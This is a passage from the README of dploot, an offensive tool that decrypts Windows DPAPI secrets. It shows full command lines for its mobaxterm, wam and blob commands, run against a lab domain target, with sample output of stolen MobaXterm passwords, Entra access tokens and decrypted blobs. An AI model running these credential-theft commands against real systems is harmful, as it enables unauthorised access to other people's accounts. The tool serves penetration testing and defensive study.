ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}

[-] Exporting domain backupkey to file key.pvk

mobaxterm

The mobaxterm command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.

With pvk:

dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
{21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e

[*] Triage MobaXterm Secrets

[MOBAXTERM CREDENTIAL]
Name:       TEST
Username:   user
Password:   waza1234

[MOBAXTERM PASSWORD]
Username:   mobauser@mobaserver
Password:   309554moba231082pass322883

wam

The wam command will search for TBRES files from Token Broker Cache and decrypt their content with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With pvk:

dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Triage Office Token Broken Cache for ALL USERS

[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]

Tips: You can find Microsoft access token for Entra users in TBRES files.

blob

The blob command will decrypt DPAPI blob with -mkfile FILE of one or more {GUID}:SHA1, -masterkey {GUID}:SHA1 or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With pvk:

dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Trying to decrypt DPAPI blob

[BLOB]
Version          :        1 (1)
Guid Credential  : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion :        1 (1)
Guid MasterKey   : 13405569-1685-49C7-90E2-0E7CE55E5B8B
Flags            :        0 ()
Description      :
CryptAlgo        : 00006603 (26115) (CALG_3DES)
Salt             : b'a5a15df8f0fb606897f28966dd5fcd9e'
HMacKey          : b''
HashAlgo         : 00008004 (32772) (CALG_SHA)
HMac             : b'80b2dc6cee8d206d5dc5a9ef844f000a'
Data             : b'5ece8ce1dd8[...]

Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'

Tips: You can find Microsoft access token for Entra users in TBRES files.

Credits

Those projects helped a lot in writting this tool:

zblurx / dploot

readme

dploot

Table of Contents

Installation

Usage

Kerberos

How to use

As a local administrator on the machine

With offline access to the Windows' filesystem

As a domain administrator (or equivalent)

Not as a domain administrator

Commands

User Triage

masterkeys

credentials

vaults

rdg

certificates

browser

triage

Machine Triage

machinemasterkeys

machinecredentials

machinevaults

machinecertificates

machinetriage

Misc

wifi

sccm

backupkey

mobaxterm

wam

blob

Credits